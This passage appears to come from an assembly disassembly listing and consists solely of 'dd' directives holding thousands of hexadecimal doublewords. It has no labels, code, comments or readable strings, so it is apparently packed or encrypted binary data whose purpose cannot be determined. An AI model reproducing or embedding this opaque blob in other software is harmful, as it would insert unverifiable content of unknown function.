0B94BBC89h, 3B0DA0FCh, 4180FF0Eh, 4732C7CDh dd 0A807224Dh, 0A227DABBh, 5E5FCAE0h, 6ADE0070h, 0A7EB3545h dd 663804A9h, 1A6F8023h, 77185248h, 577C02D3h, 1B3DF3C2h dd 1980A7E3h, 611876DBh, 43F1DD88h, 0FB490074h, 539D01Eh dd 570127DCh, 4CFC5E99h, 3DC4EA2Eh, 5BE9009Ch, 8C59280Fh dd 0B200EBA0h, 2D7EE2B1h, 0E74456h, 5CC08B88h, 38D88214h dd 0CC3A1803h, 0D8962232h, 0B9D07Dh, 5A2E3CCDh, 1B6744DAh dd 6E008F7Bh, 3B9ED41Ch, 3A4DEC99h, 95804B3Fh, 10E253F7h dd 0ABFCBC40h, 0C3C7C81Ch, 204F8912h, 9243007Ch, 907E95A9h dd 5B9E017Ch, 0B9516D80h, 82109731h, 1892DA00h, 695866FBh dd 9C0018C0h, 9003AB41h, 3200909Ah, 0E89D06A1h, 0DC76D8h dd 0C01A4818h, 45C89A97h, 6E3D311Dh, 0B8495D80h, 4418E5h dd 70FBC0AEh, 4279B75Ah, 0F4933600h, 0D62CFAC7h, 61E85845h dd 23C08D01h, 0E4372BA7h, 0A500DF7Ch, 0C244AE2Dh, 0EAAFCD26h dd 3768Ah, 1633D381h, 6E1E4AA8h, 747E905h, 18328FFh, 0A530C7F2h dd 8FDF33h, 1EC79279h, 8564D917h, 8705FA16h, 0E615440h dd 16E40F69h, 0BD9123h, 5466597Fh, 941EFD3Dh, 58C319C8h dd 8027C010h, 3365BE3h, 0CB9072CDh, 56C8212Fh, 0AB00FE1Bh dd 3124AE6Bh, 78EFE5h, 9C3E3454h, 48515939h, 0DBB87E00h dd 6299DFA4h, 13730056h, 7616B0A7h, 98003C36h, 3F96B4F9h dd 71CF1D7Bh, 650100E8h, 790A5846h, 0AD7D82D5h, 2AEC2A39h dd 0EA00ECBCh, 7A15193Ah, 5E61D6h, 0B2864985h, 0B8A22668h dd 98756700h, 19D1D9F2h, 575C0773h, 14D5F693h, 8AD89015h dd 0A300DFF0h, 282B84E7h, 0E2A60662h, 347B00E5h, 0B9D25B2Fh dd 7E0033B2h, 0F35F61CDh, 4C7D0585h, 0B14BAC28h, 4722E0F8h dd 1311CFh, 4DB3512Ah, 80DE00E4h, 3ECE0BF4h, 1A07DC91h dd 7FA66CA0h, 0F7269F70h, 0B79B0D40h, 246080B2h, 0C31EE42Ch dd 0C20F2B1Bh, 32F018FBh, 0BCD45C7Bh, 77D8E783h, 3538E8D8h dd 2CC25901h, 0BC678033h, 0F2FFC074h, 7AE301A0h, 0D2AA418Dh dd 80ACD095h, 6960E530h, 7D062584h, 593058DFh, 0AFFD1914h dd 3F9D5900h, 5BC4E94Dh, 93A32200h, 235AA7ECh, 99C903D2h dd 5BF7343h, 1F8830C7h, 9C001DD5h, 780903C6h, 40176Eh dd 927C0D81h, 41E4E99Dh, 0CBD8E00h, 0E379A01Bh, 0D6B9002Ch dd 0F15EEA59h, 0CBF63569h, 50402607h, 7C6545C4h, 7B8B80AFh dd 3100ADFEh, 1595149Fh, 0A81F4Fh, 0C3078F78h, 0BC87A075h dd 515AF700h, 11B06395h, 0A85300C7h, 88E58E08h, 9CA8DB85h dd 712C4277h, 0C00F22F8h, 0BA809EF9h, 0F492DEE3h, 0BE670A31h dd 900538h, 0E758029h, 0B5F8FEEAh, 80CFF33Bh, 21E2C20Bh dd 7B2A32h, 0BDE8803Fh, 0FF8F5F51h, 61E56700h, 2FCA688Bh dd 4897001Dh, 9A16323h, 1600DC85h, 82225547h, 56205Fh dd 0D6742EC8h, 61CACBD9h, 0D32A870Ah, 0E580D069h, 7338DDB3h dd 0B8207393h, 3D798BBh, 0C922DB54h, 31A3611Dh, 2B5FE998h dd 0B74CA501h, 0EEFE570Fh, 987A1C24h, 6B6700CFh, 1E826C4Dh dd 0D801CE25h, 0C8F32BEDh, 1824B2E8h, 0B2800D5h, 88C53B7h dd 330C449Fh, 21A6E887h, 0D0CD1DA2h, 0FCDA1D8Fh, 19CEB000h dd 84257247h, 0E2209500h, 0F585D768h, 0B0D20E0Eh, 0FF9C83E0h dd 0E7F9B050h, 9FEDE0h, 7BF34287h, 0A306B756h, 9870B274h dd 819D11C2h, 856F18B6h, 0DAA74108h, 0B2720355h, 4105F43Bh dd 9775E0B8h, 384D0460h, 0D510C374h, 193B7EF5h, 3BC085EEh dd 140CBA05h, 39A839DDh, 0B48017A9h, 0D8761A27h, 813994B6h dd 55FE85ACh, 0D9803383h, 2849C464h, 7438DEC1h, 4203185Fh dd 50551177h, 0C50366ECh, 0BCE4946Bh, 4F083053h, 7728B221h dd 5BAE4Ch, 7FCE49B1h, 0E834635Dh, 59DF622Bh, 5C80F7D5h dd 0A2D75EEBh, 86F0CF71h, 9874DF50h, 53377100h, 9352662Dh dd 89E6635h, 0F70021C3h, 887B377Ah, 187754A6h, 89785FABh dd 4DF05E95h, 755D0E03h, 0E0654641h, 0C07CDE6Dh, 0EAFBB761h dd 0DC2E068Ah, 0F403FD04h, 8B71FDh, 0EB035821h, 0BEE82654h dd 104B6703h, 0F1780A61h, 70883E21h, 0DD8C3A57h, 0D23999h dd 54650322h, 5EF568A8h, 3B6ED81Ch, 0C1E06C28h, 121AC500h dd 0D8994990h, 0CCBF00BEh, 795D162Fh, 3E0A2275h, 98E13880h dd 0F4F70C80h, 6CF8D6F5h, 70D04950h, 34EBE08Ch, 8C9068Dh dd 57809568h, 6D4EEB08h, 0A232034Bh, 0C10CAD16h, 948ECEB1h dd 0BCC0E288h, 0A2098CC0h, 318D27Dh, 7B3D5BC3h, 1E8CA4B0h dd 0B5E2E8h, 1CEB709Ah, 0CD3028A4h, 0D5AAD015h, 231643F8h dd 5842679h, 22FC068Eh, 3C206968h, 762EB07h, 948978E1h dd 84033034h, 8AF82380h, 4D295E09h, 64682A64h, 4F8E0811h dd 53C571C2h, 0B5104331h, 9E167727h, 0AB00F825h, 45D3F4AAh dd 12BB72D6h, 22962C37h, 4E310590h, 46C568D8h, 50223Bh dd 0C3774D7Ch, 0EFAD6344h, 0C2C92701h, 0C1DE6430h, 4304AC50h dd 6D7199h, 902F3688h, 0C0EF1AE8h, 0A8A7981Eh, 0C8721440h dd 93D1338h, 76663180h, 7FBDAC22h, 4D06502Ah, 13078FFh dd 8818FA5Dh, 30B66264h, 0DE88811Ch, 4F79C0AEh, 2B855745h dd 1C2C9F3Fh, 742A3881h, 0B9500746h, 4BC52972h, 4E1174h dd 3F774CB6h, 5038E2Ah, 7A087BFCh, 795C089h, 0F700BDC0h dd 5E8B5536h, 1DEF2B5Dh, 0A663ABA5h, 41FA623Ch, 73618F1Bh dd 280E23C5h, 0C902ACB7h, 0AA9C7EA0h, 0F40049B4h, 807BE411h dd 0EB2BC7F1h, 6ED152h, 0AC33270Ch, 1E69A42h, 42A4AA51h dd 67308C84h, 2D551137h, 81BF8896h, 8A3770F5h, 3C41E0CAh dd 0FE21A400h, 3AFF5EFBh, 0AC253012h, 0B15D6058h, 0B3E60109h dd 73780474h, 90EAF960h, 48CC0626h, 52408FC4h, 0D8EEEB01h dd 44EF2D01h, 0CC4D2EC2h, 7995E180h, 0B9251735h, 5CF02F1Eh dd 60222C01h, 0DC580697h, 2367EC51h, 421143C5h, 7729B300h dd 89B912D3h, 59520824h, 4440D913h, 207FFA14h, 8F9D008Ah dd 0D740A924h, 622063ACh, 17950296h, 3AA6C049h, 0FABD9C41h dd 5D264846h, 55509876h, 174B0406h, 80678BC7h, 6A942054h dd 0FF686082h, 0D25089ABh, 77075C20h, 0C4CD1223h, 0FD740051h dd 0EA652F5Dh, 7FF86B54h, 93DF88h, 0B0D7B9ACh, 827F8E6h dd 4D867C1Ch, 0BB51D658h, 6E440035h, 0CE6DBE85h, 0CC01608Ah dd 272CD592h, 55D1D6FAh, 3E8E74C0h, 0F228A580h, 9108C60h dd 6004C406h, 4D916017h, 9D197080h, 3B05863Dh, 0EBFDEC96h dd 48080498h, 6F231C90h, 94EAFD01h, 9436EC06h, 5568879h dd 1402EB00h, 8E473654h, 0F4E9F0DCh, 7EC4838h, 0DD52D61Eh dd 65F1267h, 50C0F7F2h, 600CDA12h, 4200C46Eh, 3F6AEF17h dd 0D860B952h, 467AFE50h, 3DD6F89Ch, 0C53EFDBFh, 0C3109634h dd 87AA780h, 0C2AA6D01h, 0AB502776h, 8EC01825h, 58FD03BCh dd 5FB4B3B2h, 0A0100940h, 3DBC8600h, 63088D70h, 9998011Ch dd 0FC3AEA72h, 0AB1C24B2h, 0A93D2930h, 30B1C2E8h, 22113E37h dd 0C402AB3Fh, 0AD456A8Dh, 61E28096h, 0E425A06h, 4D5E8914h dd 0BF137158h, 865C1A16h, 0BC189C1Fh, 0F8E55119h, 0E30E00C4h dd 3C8BBE4h, 0DD024E35h, 0A907B248h, 0C8704C2Ah, 90C04DE8h dd 2158FFBCh, 0A791B282h, 0BC886A00h, 0F460728Ah, 96031203h dd 88C1012Dh, 0C595801Ah, 8856AB90h, 9849E4C0h, 0BAB30004h dd 0DEA3A6EDh dd 0FB3B2983h, 60D8008Ch, 7206590Bh, 85F05D16h, 102C7313h dd 87393DE8h, 0E5F18806h, 0F913A826h, 6816E3E9h, 8A23483Ah dd 3B46B600h, 0BAA8090h, 421FAFB9h, 2740E484h, 0CCD736D4h dd 5D336280h, 0C373E8ABh, 0B5173A21h, 0C12CA17Dh, 465EC860h dd 4C0C024Dh, 62B61695h, 2A189938h, 312C040Ch, 378CA030h dd 901946h, 816B1F40h, 3C28DD2Dh, 1A0DF200h, 1506D395h dd 0D5F50437h, 8932F707h, 0F8D43018h, 24803F44h, 80F0E535h dd 0C2BEF6C0h, 195033BFh, 0DF2C9B18h, 46764C3Ch, 3B5300C0h dd 4D062E02h, 0B569C0D8h, 622A5F1Eh, 8BE1BE00h, 334234B6h dd 0E6E3143Ch, 5D848091h, 0DF95434Ch, 0A21900C8h, 42BAE840h dd 9E0E604Ah, 0A03209ECh, 0D86AB35Ch, 0C71E0028h, 0E45AB55h dd 0C94C695Dh, 0D73E80FCh, 5C1CDE1h, 0B161AC47h, 2E889111h dd 166180B0h, 0E13E5895h, 3FBF0312h, 15D161A8h, 5B42938h dd 2F626BCEh, 0B1CDB280h, 2403E0A9h, 674857B5h, 7661C3E4h dd 20C072A1h, 904046D8h, 30C34C6Bh, 268CA7BCh, 19062F1h dd 0E6E9715Ah, 43B180ACh, 57C8533Ch, 42EA00C2h, 0ECAF25D4h dd 7F042406h, 0BED70776h, 0B051E0B4h, 7EBC228Ch, 494EEE37h dd 0F8374580h, 385C4877h, 20417812h, 16C232E4h, 1EA13E1Eh dd 776ABE40h, 3BC4B1h, 0BD725D30h, 0FD3F87ECh, 0EA354706h dd 438775Ah, 635DCD1Eh, 46F0C03Ah, 35007EECh, 84BEF111h dd 0C085E5A9h, 91A2FB89h, 0A0ECD478h, 0CD011700h, 0EF53FD5Fh dd 76832CC8h, 0F3DA60C0h, 0EA0A152Fh, 0C4D5502h, 19FEF500h dd 0A9C14Eh, 9221355Eh, 3BBB3881h, 2CAD1224h, 3A407764h dd 3B716008h, 21AF1732h, 0A4B0C3D8h, 0EB4D075Fh, 0B0B4015Ch dd 39CC3094h, 0F6214563h, 0B519A80Bh, 980A004Dh, 0DE61FCB4h dd 8002303Ah, 1877F060h, 31A4C007h, 5FE8A8ADh, 33D01F0Bh dd 96DECCABh, 5400F079h, 2A2DAC26h, 2F4BB2h, 4F19E303h dd 0DBE0CE7h, 2930E5FAh, 46EF505Bh, 0CDAB0044h, 0DCBB3E93h dd 12ECEE78h, 0EF4417Dh, 274E08C0h, 0EFC2CB7h, 1571AD5Ch dd 737A6680h, 6770A96Bh, 6D3E767Ch, 9D210102h, 96C271FEh dd 2EE06AC1h, 705DE854h, 0B0610098h, 0A936735Eh, 37000B31h dd 72235B3Bh, 0FA0E6732h, 0FE250075h, 3498B75Dh, 2C7CAD71h dd 9CB16307h, 8C846002h, 61093018h, 5BF88C98h, 2F0725E8h dd 67C666Eh, 109BAE11h, 3D6492E6h, 7CC17704h, 108011ACh dd 0A3D196DBh, 5400131Eh, 78B6833Ch, 60DE1475h, 0D068317Ch dd 0FE002471h, 0F2EB835Eh, 0DE0CF7h, 0A16C663Ch, 3D2A1F5Dh dd 0ADE07D18h, 0C340EF69h, 0DA264471h, 0D8C916F8h, 7828D400h dd 0D211E661h, 42E70FD9h, 4D030D46h, 10E65EEEh, 497338h dd 1D43DCC1h, 0CC4A1452h, 1E217808h, 163A4170h, 0DEFC00D8h dd 952E0698h, 447008Bh, 88F80BD5h, 3C37E0CEh, 8AC07026h dd 0D1291AD1h, 9BAC38E8h, 8433FC00h, 0CA65ABAEh, 63F7F023h dd 9181E912h, 4E2401B8h, 7552A70Fh, 0A4E3E23Bh, 98B680C0h dd 0C12B1FE1h, 0AA84E680h, 66B44047h, 380EB44Dh, 74058Ah dd 6CDFD13Fh, 61770070h, 7AC75F46h, 0CFF85D7Fh, 1875DC30h dd 6916E47h, 0D3140A3Fh, 9003A939h, 0E59CC0D6h, 0A747F204h dd 3E4270E0h, 260880D9h, 284BD12Bh, 54DC1ECFh, 0C082E0C7h dd 0D1238621h, 8B0C6CADh, 18457BF8h, 30460C5Bh, 21F13EEEh dd 6C189EFEh, 0C68870BEh, 908CC88h, 0C3005221h, 0F75D3E9Eh dd 60DE7758h, 799A6178h, 1D7A07C9h, 0A2843Ch, 7CCE700Ah dd 7D971736h, 0ABFC045Eh, 8892626Ch, 0D1125F24h, 64237095h dd 978E9h, 0BEC1DFD5h, 1196181h, 0A91A33Eh, 0A87106EFh dd 6FDFFD03h, 782001C3h, 0E927021h, 53BD58Fh, 75944C02h dd 92AE0477h, 0E2D74110h, 0DED80086h, 802E50CCh, 680AA246h dd 8C4CC16Eh, 84064D9Dh, 81203542h, 6D182A94h, 0BE6E9E08h dd 400CC4A0h, 529EC47Ch, 0A5290486h, 4354BDFEh, 411DE7Dh dd 1F666EF1h, 879897CCh, 7BB7C278h, 4E2E1080h, 9701FD09h dd 675F3255h, 2D1317Dh, 9562710h, 0DB92E600h, 225AB9BDh dd 0DFC003F9h, 2E3FB896h, 124B823h, 0BE489EBFh, 880D1890h dd 9E13B686h, 2008BE45h, 19330108h, 405B7D8Ah, 0CCF847ACh dd 1DC01A49h, 5424C714h, 0DE9B3C82h, 798824Ch, 4654462Ah dd 0D1FD0240h, 312ECF65h, 35881080h, 0F9E00D1h, 0A492E48Dh dd 0FA1938DCh, 4980620Ah, 381D2AF4h, 2330E047h, 22EA7488h dd 0F05F48h, 0DF8F3332h, 6086A4h, 708BD11Ch, 0EEE66651h dd 65C81218h, 0F67EC4B1h, 2A5E28CFh, 0E234694h, 683F9EBEh dd 4022C488h, 219EB581h, 4DE8F06Bh, 57E80C4h, 3CE7D12Eh dd 9890431Bh, 42E10B8Ch, 0B3382067h, 1470C612h, 0BBE00402h dd 0C8EF0443h, 96003438h, 30B620CFh, 390E7AFh, 0A4AB3B1Ch dd 14F03616h, 0C1C068D4h, 67614023h, 18374C62h, 8104922Ch dd 7D513EFDh, 0B44BD6E2h, 35B653C0h, 0BF3075FAh, 3465082Bh dd 0F6490248h, 7DCA8B3Bh, 0E898DC86h, 0A2883253h, 0C7C93025h dd 64C2780Fh, 0D2BCC69Dh, 0A8466E79h, 7D666C80h, 1360EF44h dd 95632D39h, 0E3C2002Fh, 9922BAD5h, 85EA78D0h, 65E2D101h dd 1D0BDCBEh, 8C572420h, 4CD12C0Eh, 87E0B0CFh, 0D801D124h dd 1A270AAFh, 92F4685Ah, 0FB531DCFh, 0D4E70E3Eh, 0D0AD494h dd 40ACEDD6h, 8FB0EA7Ch, 28057D3Ch, 0F709D0FBh, 1122CCh dd 89FD3BC0h, 1F69C145h, 4B0927E7h, 0C0858850h, 2580A3AAh dd 0DFCF6109h, 741C20B8h, 2A051D98h, 943CF7h, 57B4473Eh dd 0B5CF8D4Bh, 68860F26h, 78635416h, 0DCC08048h, 250E873Bh dd 93880040h, 45AF22h, 8CE5A823h, 0D19A2F1Fh, 64B05A48h dd 0ACC87388h, 48C54D41h, 33096481h, 0C28ED97h, 4C558808h dd 8A230900h, 92B8A25Dh, 0A8C464DCh, 836C6350h, 315BF28Ch dd 4421116Ah, 6FD517C1h, 8CD488F2h, 0A4B19941h, 7888284Bh dd 0F5D3E0C0h, 36B20523h, 82A2D51Bh, 852318F4h, 0A740E870h dd 8D160038h, 71FD4A0Ah, 0A10BC8F7h, 4516103h, 0EC904328h dd 32E8CD8Fh, 671025A0h, 713F8886h, 0BBFD6305h, 0F418941Ah dd 80404CC0h, 5049DE56h, 5520000h, 813BBCBEh, 517300ADh dd 0CDE62882h, 29062A5Fh, 3C6CD02Fh, 43CAAF9h, 6760C4C8h dd 97213209h, 4F54C0ADh, 3300AA09h, 0F5DB9630h, 165FCh dd 9FDFD699h, 3431CBEEh, 18615626h, 67C44C26h, 0E09BBC94h dd 1BCA8DEh, 6DDF86E5h, 865291FDh, 38E85721h, 0DFC8ACD9h dd 3609E368h, 94D08ED1h, 93848834h, 0D0B60189h, 22F8C046h dd 0B14B0094h, 72D9ED2Dh, 0B02A76ECh, 0B142058h, 0F0FBF4A3h dd 103D20B3h, 74EE1584h, 20077DCh, 3AB02195h, 39A677h dd 0AE056F7Bh, 8AC4ACE0h, 2DA23809h, 0C094006Bh, 0B32F114h dd 660F27F6h, 0ED7D4C10h, 0E7A41554h, 6039A73Fh, 48D7DB30h dd 3048B8F2h, 79B117EFh, 0A9002FECh, 9074E849h, 25B034Ch dd 0EFCEEA50h, 304D2668h, 66001311h, 3DE4FAD2h, 9A18996Ch dd 67707809h, 53560C23h, 0AD396DEFh, 0E996E07h, 407E6928h dd 6F9E87F2h, 70F51E6Dh, 14ACC048h, 3F8A6257h, 0D216A1DEh dd 48BE2C61h, 318FE7F8h, 0EF6839EDh, 0D0618067h, 0FC528A4h dd 90543C74h, 0AE14FA93h, 2E1D8300h, 58515797h, 0DE155CB8h dd 8040E44Dh, 0B437A4Eh, 6BFA94CCh, 93C66822h, 38986D1Bh dd 4B208D40h, 80908BEh dd 185828BEh, 8E82F81h, 81342226h, 2A4DC66h, 1798FC74h dd 91CD0A9h, 10073474h, 420F657Bh, 0D112E6E0h, 7C2C1044h dd 5B80A8FBh, 0B09AF61Ch, 730203B1h, 2D078BDAh, 3F924088h dd 0CC452A3Eh, 30EEE954h, 0A6E4B48Fh, 0FEC3DC09h, 0CF9C10BEh dd 21FC20F7h, 302B6724h, 0E57D4282h, 6E8048B6h, 0AAC7035Fh dd 60EF04EEh, 0D6A55900h, 4758751Ch, 8CA9278Ah, 0E4010C09h dd 40644192h, 4D38DFE4h, 34257EF4h, 910C979Bh, 82148B22h dd 0C63E5C4h, 620976B9h, 67468695h, 600F6438h, 2AE28032h dd 0CC147Bh, 0AB67281Dh, 0E97D2B4Dh, 0DB191067h, 0EE356CE0h dd 0CF41C016h, 10EC7662h, 9053AE07h, 6C611931h, 70E4D064h dd 5BEF2A51h, 0FB910094h, 0D6A9141Dh, 0E33B9505h, 0A4D1A947h dd 698B620Ch, 0D276090Eh, 1C23329Fh, 0B82E96E3h, 0FB749C2Eh dd 82024818h, 0E3F0D512h, 247444BCh, 8338FA7Ch, 0CFCA59D1h dd 0AAE29DC8h, 0B27A0C77h, 1AC1E38h, 0C6A1C56Ah, 0EC73FEC9h dd 562EB458h, 137C58FCh, 2893D1CCh, 2E8FF8C0h, 7428323Dh dd 0F4007646h, 8D2BB69Bh, 0C85921EFh, 7775128Ch, 547BBC28h dd 0FEDEA018h, 1B5E0012h, 4931D871h, 0E4EA55A7h, 78701948h dd 3C034609h, 6ECC1907h, 4AF24462h, 1721230h, 4995FB24h dd 0D31DFC6Fh, 0A09C2874h, 1F7F465Eh, 0F9C064A1h, 578CA001h dd 217B60DEh, 0B18A0659h, 0BAC19700h, 55495D8Fh, 1CED4C8Ch dd 29CBD26h, 45E98A37h, 91101D09h, 0A03B8271h, 385C60E8h dd 4C8F8235h, 7D2E0FF1h, 13B475E1h, 2037BCFDh, 50B4C12h dd 0DBF881B3h, 2C671015h, 0F1830158h, 0F0D0CDAFh, 0DE747410h dd 0CA415360h, 48F1BB3h, 0C4CF6AE0h, 417886A0h, 0D513FE09h dd 46FCE490h, 4C3E3852h, 0F84B2ECCh, 0E0565370h, 0A77106B7h dd 196FEEF5h, 81F8C500h, 0BD65847Eh, 0C3FC0049h, 93E28F4Eh dd 69E04FF6h, 0A3FE3FF6h, 6002C84Bh, 42336C91h, 70808A7Ch dd 21110D02h, 0A08C4032h, 23660E88h, 19E5146h, 4AD4E96Ch dd 0E3E0D720h, 0B95D4179h, 96880B0h, 43659737h, 32232h dd 2A095051h, 3CE52716h, 0D314FB07h, 0ABF1152Bh, 0C680334h dd 333AF862h, 5B2DD0C0h, 5CC7480h, 6265DDC2h, 4008C990h dd 7748E07Eh, 0BAFDD8E3h, 32C04C55h, 0DE7D12E8h, 0E4EFECD2h dd 34F47Ch, 3F22B8B5h, 7BD086C5h, 0E2314464h, 2430F5h dd 50EF1DBh, 805E84DCh, 0D18AA400h, 7C2250E5h, 0AEAC1854h dd 36441882h, 9694ED0Dh, 7831104Ah, 8C737C22h, 4A9EC104h dd 0ECCEC0BEh, 9EB88000h, 981541BAh, 0BC543CE9h, 75758C25h dd 51608F00h, 2F0BD6Ch, 0D8CB143Eh, 3905BC0Ah, 0A070970Dh dd 2DF9C99Ch, 0AFE60E6Ch, 98A6204Eh, 0C09623E1h, 49F592E8h dd 625C14BBh, 81604C58h, 0D150FC0Ah, 2750C30h, 9894E8B5h dd 88A97085h, 0EA2E3CC0h, 0CEE49A16h, 8A4C88h, 285FA201h dd 4527A33Ch, 0C2057300h, 468C3A64h, 0EA4D13E9h, 0D0ED004Eh dd 590122A3h, 73B3B600h, 95BCE606h, 0C5E537EEh, 36BFE02Ah dd 0AEE8A474h, 862310C3h, 308FE1B5h, 3D0C2FC8h, 2200A1D4h dd 3EAE58F9h, 8B0041C2h, 0E7372AC1h, 30604D1h, 5987464h dd 50CF2936h, 12C06C62h, 0BF0D6005h, 0ECD33D35h, 4D41C038h dd 86974B32h, 9C9018D4h, 38023B46h, 6CF68D1h, 30178131h dd 13EED130h, 0FBFBB00h, 0DE4058C1h, 546F8852h, 3392F802h dd 8396FD4Dh, 0EAF0470Ch, 50805827h, 1BCF4C92h, 183AF8D7h dd 0E87BE3A8h, 3E8200B9h, 0F23537D3h, 38494608h, 0DC21726Dh dd 0C01AC463h, 8E24DFCDh, 31CEF900h, 8954273Fh, 4EC230FEh dd 94DC6699h, 37468F1h, 3904F0EFh, 0C4C2E42Fh, 0BF562343h dd 458F70B8h, 1340D016h, 596F5492h, 19837174h, 985D08D8h dd 0A45144C8h, 19244005h, 14C87BFFh, 0E6A20017h, 0C5D59421h dd 0E2007A6Bh, 2226753Ch, 9B6C7E0h, 70E3107Eh, 0E25D2F04h dd 3305F228h, 91C99CE0h, 3C99622Ch, 5CC42944h, 589170A5h dd 95A80C3h, 8CB59739h, 4BB9FE60h, 0E50962h, 0C0BC7C85h dd 73119A98h, 0F00438B6h, 84090E8Ch, 718014B7h, 0F2F95457h dd 4C9F1003h, 1D44108Dh, 5879C814h, 28CFFACh, 0D8D13A2h dd 88C9A8F7h, 8891182Ah, 19C0167Ch, 8E8A17E4h, 30FA0F87h dd 94A04C44h, 913249D1h, 0B8560D2Ch, 0EBC8E560h, 0A75F12F3h dd 0B2BCC504h, 3004F210h, 0FF14BC7Fh, 85B8E07Ch, 48E4DE6Eh dd 17197AD7h, 0FD695Fh, 8B4466AAh, 8B62BD6h, 31082E44h dd 6D9E8CC0h, 0F0984CBEh, 9EC37FE0h, 0A732E005h, 708C6662h dd 50F07C29h, 2F0FE811h, 9081E192h, 398F6267h, 10A04C3Ch dd 23263458h, 172B110Ch, 70207B66h, 0BDDA2ACh, 0EF4E60F6h dd 0B7F4E048h, 6300F3F4h, 2433207Ch, 2A36606Ah, 0CA44753h dd 5DF7028Fh, 0DF00DB78h, 6182869Ah, 903642DEh, 1C4F4D8Eh dd 8B07438Eh, 6BC458DCh, 3B2047h, 37F762A1h, 9061DC12h dd 38C28C65h, 7F45AEFh, 0A1DAD9A0h, 37888007h, 0DCA19783h dd 0B6F04277h, 8094930h, 317D8F2Ch, 4E41F86Ah, 0FDCC0951h dd 84F4B9C5h, 91BD4DFh, 0A8346BEFh, 8E6DA7h, 4DA59C1h dd 2D8917ACh, 0A417B1Fh, 0C4C202DDh, 0F805C0D5h, 9A4602B0h dd 70C7D394h, 0E05BC5Ah, 9002D2FCh, 0BE719886h, 3D4674F4h dd 15874E3Dh, 89770236h, 1AE40CC5h, 304AA60h, 0D31BB52Eh dd 0BF726F01h, 58603365h, 1E764089h, 3BD00509h, 13300446h dd 0C159DE46h, 2B333200h, 9F129B6Ah, 46F90028h, 0E6AAFEACh dd 21FF4E94h, 0A2706384h, 15EF300Ch, 59CC9410h, 138C22E8h dd 91EE819Bh, 0F8C6DC40h, 79165884h, 703A48D3h, 0E8077123h dd 4987A56Eh, 3CF4F835h, 29C002F4h, 5D6B9583h, 305B80C0h dd 67E72700h, 0A9BE4635h, 2C8960Ch, 49529366h, 4097456h dd 98370Dh, 0C46332DAh, 9C1097CAh, 38584EDEh, 0DBAC0303h dd 9A19E42h, 688FC106h, 101CA280h, 0BC73C2D1h, 0E447FF4Fh dd 68B91496h, 253F3330h, 5448EE68h, 5600AAEAh, 1C369E16h dd 4BF4E18h, 0D0696D03h, 0B6B4A465h, 5420355Fh, 0CE3BEAh dd 0C772D08Ch, 0A5DF8021h, 33CA3505h, 9CA0B28Bh, 3C41457Dh dd 187CCF50h, 2CDA619h, 0EC14FC30h, 0C85059F7h, 9684E142h dd 1938A045h, 0C0147D24h, 21928F40h, 146C9072h, 509161F6h dd 88AC5A4Fh, 8A09879h, 66D990D8h, 3992701h, 80470C99h dd 68443328h, 0C270D3D1h, 0C0FEE330h, 7D11BC64h, 0EF260713h dd 0D2E641F4h, 0B329DC47h, 0F056AD04h, 6EC03491h, 0AEBF18h dd 0B42735E1h, 310FDB1Eh, 0A0E6D0A2h, 0AE4004B4h, 7DF974ECh dd 13BF669h, 2CD792AAh, 210B36EFh, 53CC200Ch, 3D3F708Ch dd 22C6DCBFh, 57543870h, 0EF29B80Fh, 0DCAAB1D8h, 190A73Ch dd 0C4ADCD35h, 8DECF385h, 9DD500C7h, 7EDFDA6Eh, 6105818Fh dd 4E1AFA2Fh, 33B6B800h, 4B7BD89Ah, 54C028E2h, 2818BE00h dd 2373C30Ch, 6655B8Eh, 915AEF44h, 6CC2FB04h, 78C4D511h dd 4E16A808h, 4E0500B1h, 0C0243AFEh, 4F1001DFh, 446BF93Eh dd 5EB83663h, 0CA01FC6Ah, 287CBED8h, 0E3873029h, 3D992109h dd 11E09D32h, 5ADD806Ch, 0EA6738E2h, 0C13B60F8h, 33C85749h dd 7B0FB138h, 77E27616h, 94DCE443h, 1CC5BC8Eh, 0FC4A408Ch dd 0F46E0F3Fh, 72A26615h, 0A44434DCh, 91BC9795h, 0D234801Ah dd 0AE0C25h, 0DCEA710Dh, 10ED7BE5h, 3D98DF88h, 2225E2D1h dd 78014B7h, 0BC3876CBh dd 275800E3h, 29713DCh, 0A0963A7Fh, 0F403824h, 3814076h dd 13C2DBF0h, 9698FA78h, 6CE2BCEFh, 5F6E9400h, 2E9CDFE1h dd 6D7C2567h, 0A497248Bh, 67410588h, 0C258B032h, 3E2EACDCh dd 3F8CE426h, 0A93917Ch, 0ECF9C643h, 5FD78080h, 9175624Fh dd 3BC2FA17h, 0FE0F0040h, 9BBD197h, 0A15412FFh, 0DF04548Fh dd 0D4C8A0E0h, 8492A8C1h, 68BD3B7Ah, 5BD14D02h, 0D881C7h dd 319A412h, 10FCA014h, 5105CCB1h, 0A030F14Dh, 0FD1C9134h dd 0BAD33459h, 277D50B4h, 3C6E19E0h, 0B7BFA200h, 0E921D9B1h dd 6128A0A4h, 0FC7C3366h, 0FDB85629h, 1F00B54Eh, 50CA9867h dd 7F6205Ah, 0C1147447h, 9905D35Eh, 0CCE86780h, 0C04F2835h dd 2588448Eh, 9D58AFC0h, 44D5004Dh, 1E943165h, 98B263E3h dd 0D0C44CE4h, 2F5723DFh, 823E4h, 39A63EBFh, 0C0C4D28Dh dd 98A49563h, 37D910BEh, 98BF0511h, 0E4D12B02h, 0AC65D7EFh dd 14013AECh, 0AC06E67Dh, 95800D88h, 0FE47E3BBh, 0FF9100ACh dd 9ACECA2Fh, 0D305C831h, 0CD62249Dh, 0FAF190A2h, 308C0C40h dd 0DC6911F8h, 5A00F9DEh, 1F14852Fh, 93405EDh, 0CB9DB007h dd 74548892h, 471100DCh, 0F625DF8Ch, 0E10414FDh, 61776D74h dd 60D0B0E8h, 414305A8h, 0B61C1700h, 8A7C8B57h, 9D298F27h dd 80839184h, 9933C267h, 4281308Ah, 2E17D48h, 1144C8A4h dd 2A3900C5h, 140B5894h, 8600C74Eh, 455F52FAh, 14E30D05h dd 4044936Eh, 61D13981h, 9856DECFh, 73319458h, 0F71803D1h dd 4F65A238h, 3613807Ah, 3412152Ah, 85BC1071h, 0E992B107h dd 0D1342445h, 18D48CE6h, 0F8C307E8h, 0C7C2146Fh, 38B4A0CBh dd 25090121h, 40A0F734h, 9D7EC0F3h, 0BBD07B00h, 0BC94C683h dd 70EE92h, 67FBA921h, 662E474Fh, 7743300h, 0FA98D2C2h dd 0A84361A6h, 317B3C67h, 10506936h, 7C2F7E4Eh, 95782CA3h dd 578511A0h, 0F3FAE705h, 0B81CBCDAh, 917B660Bh, 0DFD35C4h dd 19D22ECh, 4F498D50h, 386F34BFh, 4FFD3A10h, 62EF6C91h dd 